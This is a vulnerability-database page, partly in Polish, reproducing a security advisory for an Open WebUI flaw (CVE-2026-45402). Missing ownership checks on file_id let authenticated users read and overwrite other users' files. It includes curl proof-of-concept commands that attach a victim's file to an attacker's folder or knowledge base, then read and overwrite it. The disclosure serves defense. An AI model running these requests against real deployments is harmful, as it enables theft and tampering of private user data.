Wysoka

Open WebUI: Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints

  • Ujawniono: 14.05.2026
  • Aktualizacja: 11.10.2026 14:17

Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints

Summary

Multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file — and on the knowledge-base path, also to overwrite it — given knowledge of the file's UUID.

Affected code paths

Path 1 — Folder knowledge ingestion via folders.update

backend/open_webui/routers/folders.py:156 — POST /api/v1/folders/{id}/update accepts a FolderUpdateForm whose data: Optional[dict] field is written verbatim into the folder. The folder consumer at backend/open_webui/utils/middleware.py:2409 spreads folder.data['files'] directly into form_data['files'] for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer) — only the folder list endpoint (folders.py:78-94) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time. An attacker with a victim's file UUID can write data: {"files": [{"id": "<victim>", "type": "file"}]} into their own folder, immediately chat in that folder, and have the LLM return the victim's document content via RAG. The cleanup pass strips the file from persistence later, but the exfiltration has already happened.

Path 2 — Knowledge-base attach via knowledge.{id}/file/add and knowledge.{id}/files/batch/add

backend/open_webui/routers/knowledge.py:616-669 (add_file_to_knowledge_by_id) and backend/open_webui/routers/knowledge.py:972-1035 (add_files_to_knowledge_by_id_batch) check the caller's write access to the knowledge base but never validate the caller's access to the file_id being attached. Because has_access_to_file(..., user) returns True for any file linked to a KB the caller owns, attaching a victim's file_id to an attacker-owned KB silently unlocks read and write on that file through /api/v1/files/{id}/content and /api/v1/files/{id}/data/content/update. This is a stronger variant than Path 1 — full read AND overwrite, persisted, no cleanup pass to mitigate.

Proof of concept

Path 1 (folder knowledge)

bash
# Attacker writes victim file_id into their own folder
curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}"

# Attacker chats in that folder — victim file becomes RAG context
curl -X POST http://target/api/chat/completions \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folder_id\":\"<attacker_folder_id>\"}"

Path 2 (knowledge-base attach)

bash
# Attacker creates own KB
KB=$(curl -s -X POST http://target/api/v1/knowledge/create \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"name":"x","description":"x","data":{}}' | jq -r .id)

# Attach victim's file_id — no ownership check
curl -X POST http://target/api/v1/knowledge/$KB/file/add \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"file_id\":\"$VICTIM_FILE_ID\"}"

# Read victim file through standard files endpoint (now accessible because file is "linked to KB I own")
curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK"

# Overwrite
curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"content":"tampered"}'

Impact

  • Confidentiality: Any authenticated user can read the contents of any other user's private uploaded file, given knowledge of the file UUID. UUIDs are V4 (not enumerable in practice) but leak through normal usage — file IDs appear in chat sources, in shared chats' citations, in URL paths (/workspace/files/<id>), in browser history / referrer headers, and in any export/share flow that surfaces source metadata.
  • Integrity: Path 2 (knowledge attach) additionally allows the attacker to overwrite the victim's file content, persisting attacker-controlled text under the victim's file_id. Subsequent reads by the victim or by any RAG flow that ingests the victim's file return the tampered content.
  • Availability: None directly — file rows are not deleted by these paths.

Recommended fix

Validate the supplied file_id against the caller's read access before attaching, in every writer.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

MrBeard-FT — first to identify the folder-knowledge ingestion path (Path 1) Classic298 — first to identify the knowledge-base attach path (Path 2 — /knowledge/{id}/file/add and /files/batch/add)

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) open-webui < 0.9.5 0.9.5

Odnośniki

Ocena CVSS 8.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-639
Platforma
Python (PyPI)
Paczka
open-webui
Ujawniono
14.05.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2752 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-r472-mw7m-967f - CC BY 4.0

Historia podatności: open-webui

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (161) w archiwum
Wszystkich wpisów
161
Pierwsza → ostatnia
08.2024 09.2026
Bez poprawki
11
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 77
  • Średnia 75
  • Niska 8

Ujawnienia w latach

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Istotność:
  1. Wysoka · 8.7 CVE-2026-70492 >= 0.10.0, < 0.11.0 0.11.0
  2. Wysoka · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  3. Wysoka · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  4. Wysoka · 7.3 CVE-2026-26192 < 0.7.0 0.7.0
  5. Wysoka · 7.6 CVE-2026-54013 < 0.9.6 0.9.6
  6. Wysoka · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  7. Open WebUI: Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints ten wpis
    Wysoka · 8.1 CVE-2026-45402 < 0.9.5 0.9.5
  8. Wysoka · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  9. Wysoka · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  10. Wysoka · 8.3 CVE-2026-44570 < 0.6.19 0.6.19
  11. Wysoka · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  12. Wysoka · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  13. Wysoka · 8.3 CVE-2026-56400 < 0.3.33 0.3.33
  14. Wysoka · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  15. Wysoka · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  16. Wysoka · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  17. Krytyczna · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  18. Wysoka · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  19. Wysoka · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  20. Wysoka · 7.5 ghsa-5ccf-884p-4jjq <= 0.3.21 brak poprawki
  21. Wysoka · 7.5 CVE-2024-7983 < 0.5.13 0.5.13
  22. Wysoka · 7.5 CVE-2024-8053 < 0.5.13 0.5.13
  23. Wysoka · 8.4 CVE-2024-7990 <= 0.3.8 brak poprawki
  24. Wysoka · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  25. Wysoka · 7.6 CVE-2024-7053 <= 0.3.8 brak poprawki
  26. Wysoka · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  27. Wysoka · 7.5 CVE-2024-7036 <= 0.3.8 brak poprawki
  28. Wysoka · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 brak poprawki
  29. Wysoka · 7.5 CVE-2024-12534 <= 0.3.32 brak poprawki
  30. Wysoka · 7.5 CVE-2024-12537 <= 0.3.32 brak poprawki

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.